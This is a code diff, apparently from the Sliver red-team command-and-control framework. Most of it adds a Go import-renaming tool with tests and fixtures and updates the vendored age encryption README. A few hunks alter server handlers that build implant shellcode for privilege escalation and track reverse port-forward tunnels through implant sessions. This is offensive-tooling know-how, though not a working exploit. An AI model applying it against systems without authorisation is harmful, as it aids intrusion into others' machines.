+		return nil
+	})
+}
+
+func renameImportDir(dir, oldImportPrefix, newImportPrefix string) error {
+	oldParts := splitImportPrefix(oldImportPrefix)
+	newParts := splitImportPrefix(newImportPrefix)
+	if len(oldParts) == 0 || len(newParts) == 0 {
+		return nil
+	}
+
+	for i := 0; i < len(oldParts); i++ {
+		suffixParts := oldParts[i:]
+		oldDir := filepath.Join(append([]string{dir}, suffixParts...)...)
+		info, err := os.Stat(oldDir)
+		if err != nil {
+			if os.IsNotExist(err) {
+				continue
+			}
+			return err
+		}
+		if !info.IsDir() {
+			continue
+		}
+
+		if len(newParts) < len(suffixParts) {
+			return fmt.Errorf("new import prefix has fewer path segments than old import prefix")
+		}
+		newSuffixParts := newParts[len(newParts)-len(suffixParts):]
+		newDir := filepath.Join(append([]string{dir}, newSuffixParts...)...)
+
+		if oldDir == newDir {
+			return nil
+		}
+
+		if _, err := os.Stat(newDir); err == nil {
+			return fmt.Errorf("rename import dir: target exists: %s", newDir)
+		} else if !os.IsNotExist(err) {
+			return err
+		}
+
+		if err := os.MkdirAll(filepath.Dir(newDir), 0700); err != nil {
+			return err
+		}
+		return os.Rename(oldDir, newDir)
+	}
+
+	return nil
+}
+
+func splitImportPrefix(prefix string) []string {
+	cleaned := path.Clean(strings.TrimSpace(prefix))
+	if cleaned == "." || cleaned == "/" {
+		return nil
+	}
+	cleaned = strings.TrimPrefix(cleaned, "/")
+	if cleaned == "" {
+		return nil
+	}
+	return strings.Split(cleaned, "/")
+}

server/gogo/goname/rename_import_test.go

@@ -0,0 +1,95 @@
+package goname
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestRenameImportBasic(t *testing.T) {
+	fixture := filepath.Join("testdata", "rename-import", "basic")
+	tmp := t.TempDir()
+	if err := copyDir(fixture, tmp); err != nil {
+		t.Fatalf("copy fixture: %v", err)
+	}
+
+	result, err := RenameImport(tmp, "foo/bar", "acme/corp")
+	if err != nil {
+		t.Fatalf("RenameImport: %v", err)
+	}
+
+	if result.OldImportPrefix != "foo/bar" {
+		t.Fatalf("old prefix mismatch: %s", result.OldImportPrefix)
+	}
+	if result.NewImportPrefix != "acme/corp" {
+		t.Fatalf("new prefix mismatch: %s", result.NewImportPrefix)
+	}
+	if result.FilesUpdated != 2 {
+		t.Fatalf("files updated mismatch: %d", result.FilesUpdated)
+	}
+	if result.ImportsUpdated != 4 {
+		t.Fatalf("imports updated mismatch: %d", result.ImportsUpdated)
+	}
+
+	mainImports := importPaths(t, filepath.Join(tmp, "main.go"))
+	for _, want := range []string{"acme/corp", "acme/corp/baz", "acme/corp/qux", "foo/barista", "other/pkg"} {
+		if !mainImports[want] {
+			t.Fatalf("main.go missing import: %s", want)
+		}
+	}
+	if mainImports["foo/bar"] || mainImports["foo/bar/baz"] || mainImports["foo/bar/qux"] {
+		t.Fatalf("main.go still references old prefix")
+	}
+
+	barImports := importPaths(t, filepath.Join(tmp, "acme", "corp", "bar.go"))
+	if !barImports["acme/corp/baz"] {
+		t.Fatalf("bar.go import not updated")
+	}
+
+	if _, err := os.Stat(filepath.Join(tmp, "foo", "bar")); !os.IsNotExist(err) {
+		t.Fatalf("expected foo/bar to be renamed")
+	}
+
+	vendorImports := importPaths(t, filepath.Join(tmp, "vendor", "foo", "bar", "vendor.go"))
+	if !vendorImports["foo/bar/baz"] {
+		t.Fatalf("vendor import should remain unchanged")
+	}
+
+	hiddenImports := importPaths(t, filepath.Join(tmp, ".hidden", "hidden.go"))
+	if !hiddenImports["foo/bar/baz"] {
+		t.Fatalf("hidden import should remain unchanged")
+	}
+
+	mainBytes, err := os.ReadFile(filepath.Join(tmp, "main.go"))
+	if err != nil {
+		t.Fatalf("read main.go: %v", err)
+	}
+	if !strings.Contains(string(mainBytes), "const example = \"foo/bar/baz\"") {
+		t.Fatalf("string literal should remain unchanged")
+	}
+}
+
+func TestRenameImportNoChanges(t *testing.T) {
+	fixture := filepath.Join("testdata", "rename-import", "basic")
+	tmp := t.TempDir()
+	if err := copyDir(fixture, tmp); err != nil {
+		t.Fatalf("copy fixture: %v", err)
+	}
+
+	_, err := RenameImport(tmp, "missing/prefix", "acme/corp")
+	if err == nil {
+		t.Fatalf("expected error for missing prefix")
+	}
+}
+
+func TestRenameImportInvalidArgs(t *testing.T) {
+	_, err := RenameImport(t.TempDir(), "", "acme/corp")
+	if err == nil {
+		t.Fatalf("expected error for empty old prefix")
+	}
+	_, err = RenameImport(t.TempDir(), "foo/bar", "")
+	if err == nil {
+		t.Fatalf("expected error for empty new prefix")
+	}
+}

server/gogo/goname/testdata/basic/go.mod

@@ -0,0 +1,5 @@
+module example.com/old
+
+go 1.22
+
+require example.com/other v1.2.3

server/gogo/goname/testdata/basic/main.go

@@ -0,0 +1,14 @@
+package main
+
+import (
+	"fmt"
+	"example.com/old"
+	oldpkg "example.com/old/pkg/foo"
+	_ "example.com/oldish/pkg"
+)
+
+const example = "example.com/old/pkg/foo"
+
+func main() {
+	fmt.Println(oldpkg.Name, example)
+}

server/gogo/goname/testdata/basic/pkg/bar/bar.go

@@ -0,0 +1,3 @@
+package bar
+
+const Name = "bar"

server/gogo/goname/testdata/basic/pkg/foo/foo.go

@@ -0,0 +1,5 @@
+package foo
+
+import "example.com/old/pkg/bar"
+
+const Name = bar.Name

server/gogo/goname/testdata/basic/vendor/example.com/old/vendor.go

@@ -0,0 +1,5 @@
+package vendor
+
+import "example.com/old/pkg/foo"
+
+const Vendor = foo.Name

server/gogo/goname/testdata/rename-import/basic/.hidden/hidden.go

@@ -0,0 +1,3 @@
+package hidden
+
+import _ "foo/bar/baz"

server/gogo/goname/testdata/rename-import/basic/foo/bar/bar.go

@@ -0,0 +1,9 @@
+package bar
+
+import "foo/bar/baz"
+
+const Name = "bar"
+
+func Use() string {
+	return baz.Name
+}

server/gogo/goname/testdata/rename-import/basic/foo/bar/baz/baz.go

@@ -0,0 +1,3 @@
+package baz
+
+const Name = "baz"

server/gogo/goname/testdata/rename-import/basic/foo/bar/qux/qux.go

@@ -0,0 +1,3 @@
+package qux
+
+const Name = "qux"

server/gogo/goname/testdata/rename-import/basic/foo/barista/barista.go

@@ -0,0 +1,3 @@
+package barista
+
+const Name = "barista"

server/gogo/goname/testdata/rename-import/basic/go.mod

@@ -0,0 +1,3 @@
+module example.com/demo
+
+go 1.22

server/gogo/goname/testdata/rename-import/basic/main.go

@@ -0,0 +1,16 @@
+package main
+
+import (
+	"fmt"
+	bar "foo/bar"
+	_ "foo/bar/baz"
+	_ "foo/bar/qux"
+	_ "foo/barista"
+	"other/pkg"
+)
+
+const example = "foo/bar/baz"
+
+func main() {
+	fmt.Println(bar.Name, example)
+}

server/gogo/goname/testdata/rename-import/basic/vendor/foo/bar/vendor.go

@@ -0,0 +1,3 @@
+package vendor
+
+import _ "foo/bar/baz"

server/handlers/sessions.go

@@ -231,7 +231,6 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
 		sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
 		return nil
 	}
-	defer rtunnels.DeletePending(session.ID)
 
 	var defaultDialer = new(net.Dialer)
 

server/rpc/rpc-priv.go

@@ -109,6 +109,12 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
 	if err != nil {
 		req.Config.Format = clientpb.OutputFormat_SHELLCODE
 		req.Config.ObfuscateSymbols = false
+		req.Config.IsShellcode = true
+		req.Config.IsSharedLib = false
+		req.Config.TemplateName = "sliver"
+		if len(req.Config.Exports) == 0 {
+			req.Config.Exports = []string{"StartW"}
+		}
 		build, err := generate.GenerateConfig(name, req.Config)
 		if err != nil {
 			return nil, rpcError(err)

server/rpc/rpc-rportfwd.go

@@ -39,11 +39,17 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
 // StartRportfwdListener - Instruct the implant to start a reverse port forward
 func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
 	resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
-	rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
 	err := rpc.GenericHandler(req, resp)
 	if err != nil {
 		return nil, err
 	}
+	if resp.Response.GetErr() == "" {
+		addr := req.ForwardAddress
+		if resp.ForwardAddress != "" {
+			addr = resp.ForwardAddress
+		}
+		rtunnels.TrackListener(req.Request.SessionID, resp.ID, addr)
+	}
 	return resp, nil
 }
 
@@ -54,5 +60,8 @@ func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.Rport
 	if err != nil {
 		return nil, err
 	}
+	if resp.Response.GetErr() == "" {
+		rtunnels.UntrackListener(req.Request.SessionID, req.ID)
+	}
 	return resp, nil
 }

vendor/filippo.io/age/AUTHORS

@@ -1,6 +0,0 @@
-# This is the official list of age authors for copyright purposes.
-# To be included, send a change adding the individual or company
-# who owns a contribution's copyright.
-
-Google LLC
-Filippo Valsorda

vendor/filippo.io/age/LICENSE

@@ -1,4 +1,6 @@
 Copyright 2019 The age Authors
+Copyright 2019 Google LLC
+Copyright 2022 Filippo Valsorda
 
 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions are

vendor/filippo.io/age/README.md

@@ -12,7 +12,7 @@
 
 age is a simple, modern and secure file encryption tool, format, and Go library.
 
-It features small explicit keys, no config options, and UNIX-style composability.
+It features small explicit keys, post-quantum support, no config options, and UNIX-style composability.
 
 ```
 $ age-keygen -o key.txt
@@ -21,17 +21,17 @@ $ tar cvz ~/data | age -r age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9
 $ age --decrypt -i key.txt data.tar.gz.age > data.tar.gz
 ```
 
-📜 The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). age was designed by [@Benjojo12](https://twitter.com/Benjojo12) and [@FiloSottile](https://twitter.com/FiloSottile).
-
-📬 Follow the maintenance of this project by subscribing to [Maintainer Dispatches](https://filippo.io/newsletter)!
+📜 The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). age was designed by [@benjojo](https://github.com/benjojo) and [@FiloSottile](https://github.com/FiloSottile).
 
 🦀 An alternative interoperable Rust implementation is available at [github.com/str4d/rage](https://github.com/str4d/rage).
 
+🌍 [Typage](https://github.com/FiloSottile/typage) is a TypeScript implementation. It works in the browser, Node.js, Deno, and Bun.
+
 🔑 Hardware PIV tokens such as YubiKeys are supported through the [age-plugin-yubikey](https://github.com/str4d/age-plugin-yubikey) plugin.
 
 ✨ For more plugins, implementations, tools, and integrations, check out the [awesome age](https://github.com/FiloSottile/awesome-age) list.
 
-💬 The author pronounces it `[aɡe̞]` [with a hard *g*](https://translate.google.com/?sl=it&text=aghe), like GIF, and is always spelled lowercase.
+💬 The author pronounces it `[aɡe̞]` [with a hard *g*](https://translate.google.com/?sl=it&text=aghe), like GIF, and it's always spelled lowercase.
 
 ## Installation
 
@@ -48,6 +48,12 @@ $ age --decrypt -i key.txt data.tar.gz.age > data.tar.gz
             <code>port install age</code>
         </td>
     </tr>
+    <tr>
+        <td>Windows</td>
+        <td>
+            <code>winget install --id FiloSottile.age</code>
+        </td>
+    </tr>
     <tr>
         <td>Alpine Linux v3.15+</td>
         <td>
@@ -85,6 +91,12 @@ $ age --decrypt -i key.txt data.tar.gz.age > data.tar.gz
             <code>emerge app-crypt/age</code>
         </td>
     </tr>
+    <tr>
+        <td>Guix System</td>
+        <td>
+            <code>guix package -i age</code>
+        </td>
+    </tr>
     <tr>
         <td>NixOS / Nix</td>
         <td>
@@ -133,22 +145,18 @@ $ age --decrypt -i key.txt data.tar.gz.age > data.tar.gz
             <code>scoop bucket add extras && scoop install age</code>
         </td>
     </tr>
-    <tr>
-        <td>pkgx</td>
-        <td>
-            <code>pkgx install age</code>
-        </td>
-    </tr>
 </table>
 
 On Windows, Linux, macOS, and FreeBSD you can use the pre-built binaries.
 
 ```
 https://dl.filippo.io/age/latest?for=linux/amd64
-https://dl.filippo.io/age/v1.1.1?for=darwin/arm64
+https://dl.filippo.io/age/v1.3.0?for=darwin/arm64
 ...
 ```
 
+If you download the pre-built binaries, you can check their [Sigsum proofs](./SIGSUM.md).
+
 If your system has [a supported version of Go](https://go.dev/dl/), you can build from source.
 
 ```
@@ -157,39 +165,6 @@ go install filippo.io/age/cmd/...@latest
 
 Help from new packagers is very welcome.
 
-### Verifying the release signatures
-
-If you download the pre-built binaries, you can check their
-[Sigsum](https://www.sigsum.org) proofs, which are like signatures with extra
-transparency: you can cryptographically verify that every proof is logged in a
-public append-only log, so you can hold the age project accountable for every
-binary release we ever produced. This is similar to what the [Go Checksum
-Database](https://go.dev/blog/module-mirror-launch) provides.
-
-```
-cat << EOF > age-sigsum-key.pub
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM1WpnEswJLPzvXJDiswowy48U+G+G1kmgwUE2eaRHZG
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAz2WM5CyPLqiNjk7CLl4roDXwKhQ0QExXLebukZEZFS
-EOF
-cat << EOF > sigsum-trust-policy.txt
-log 154f49976b59ff09a123675f58cb3e346e0455753c3c3b15d465dcb4f6512b0b https://poc.sigsum.org/jellyfish
-witness poc.sigsum.org/nisse 1c25f8a44c635457e2e391d1efbca7d4c2951a0aef06225a881e46b98962ac6c
-witness rgdd.se/poc-witness  28c92a5a3a054d317c86fc2eeb6a7ab2054d6217100d0be67ded5b74323c5806
-group  demo-quorum-rule all poc.sigsum.org/nisse rgdd.se/poc-witness
-quorum demo-quorum-rule
-EOF
-
-curl -JLO "https://dl.filippo.io/age/v1.2.0?for=darwin/arm64"
-curl -JLO "https://dl.filippo.io/age/v1.2.0?for=darwin/arm64&proof"
-
-go install sigsum.org/sigsum-go/cmd/[email protected]
-sigsum-verify -k age-sigsum-key.pub -p sigsum-trust-policy.txt \
-    age-v1.2.0-darwin-arm64.tar.gz.proof < age-v1.2.0-darwin-arm64.tar.gz
-```
-
-You can learn more about what's happening above in the [Sigsum
-docs](https://www.sigsum.org/getting-started/).
-
 ## Usage
 
 For the full documentation, read [the age(1) man page](https://filippo.io/age/age.1).
@@ -254,6 +229,28 @@ $ age -R recipients.txt example.jpg > example.jpg.age
 
 If the argument to `-R` (or `-i`) is `-`, the file is read from standard input.
 
+### Post-quantum keys
+
+To generate hybrid post-quantum keys, which are secure against future quantum
+computer attacks, use the `-pq` flag with `age-keygen`. This may become the
+default in the future.
+
+Post-quantum identities start with `AGE-SECRET-KEY-PQ-1...` and recipients with
+`age1pq1...`. The recipients are unfortunately ~2000 characters long.
+
+```
+$ age-keygen -pq -o key.txt
+$ age-keygen -y key.txt > recipient.txt
+$ age -R recipient.txt example.jpg > example.jpg.age
+$ age -d -i key.txt example.jpg.age > example.jpg
+```
+
+Support for post-quantum keys is built into age v1.3.0 and later. Alternatively,
+the `age-plugin-pq` binary can be installed and placed in `$PATH` to add support
+to any version and implementation of age that supports plugins. Recipients will
+work out of the box, while identities will have to be converted to plugin
+identities with `age-plugin-pq -identity`.
+
 ### Passphrases
 
 Files can be encrypted with a passphrase by using `-p/--passphrase`. By default age will automatically generate a secure passphrase. Passphrase protected files are automatically detected at decrypt time.
@@ -302,3 +299,28 @@ $ curl https://github.com/benjojo.keys | age -R - example.jpg > example.jpg.age
 ```
 
 Keep in mind that people might not protect SSH keys long-term, since they are revokable when used only for authentication, and that SSH keys held on YubiKeys can't be used to decrypt files.
+
+### Inspecting encrypted files
+
+The `age-inspect` command can display metadata about an encrypted file without decrypting it, including the recipient types, whether it uses post-quantum encryption, and the payload size.
+
+```
+$ age-inspect secrets.age
+secrets.age is an age file, version "age-encryption.org/v1".
+
+This file is encrypted to the following recipient types:
+  - "mlkem768x25519"
+
+This file uses post-quantum encryption.
+
+Size breakdown (assuming it decrypts successfully):
+
+    Header                      1627 bytes
+    Encryption overhead           32 bytes
+    Payload                       42 bytes
+                        -------------------
+    Total                       1701 bytes
+
+```
+
+For scripting, use `--json` to get machine-readable output.

vendor/filippo.io/age/SIGSUM.md

@@ -0,0 +1,23 @@
+If you download the pre-built binaries of version v1.2.0+, you can check their
+[Sigsum](https://www.sigsum.org) proofs, which are like signatures with extra
+transparency: you can cryptographically verify that every proof is logged in a
+public append-only log, so the age project can be held accountable for every
+binary release we ever produced. This is similar to what the [Go Checksum
+Database](https://go.dev/blog/module-mirror-launch) provides.
+
+```
+cat << EOF > age-sigsum-key.pub
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM1WpnEswJLPzvXJDiswowy48U+G+G1kmgwUE2eaRHZG
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAz2WM5CyPLqiNjk7CLl4roDXwKhQ0QExXLebukZEZFS
+EOF
+
+curl -JLO "https://dl.filippo.io/age/v1.3.0?for=darwin/arm64"
+curl -JLO "https://dl.filippo.io/age/v1.3.0?for=darwin/arm64&proof"
+
+go install sigsum.org/sigsum-go/cmd/[email protected]
+sigsum-verify -k age-sigsum-key.pub -P sigsum-generic-2025-1 \
+    age-v1.3.0-darwin-arm64.tar.gz.proof < age-v1.3.0-darwin-arm64.tar.gz
+```
+
+You can learn more about what's happening above in the [Sigsum
+docs](https://www.sigsum.org/getting-started/).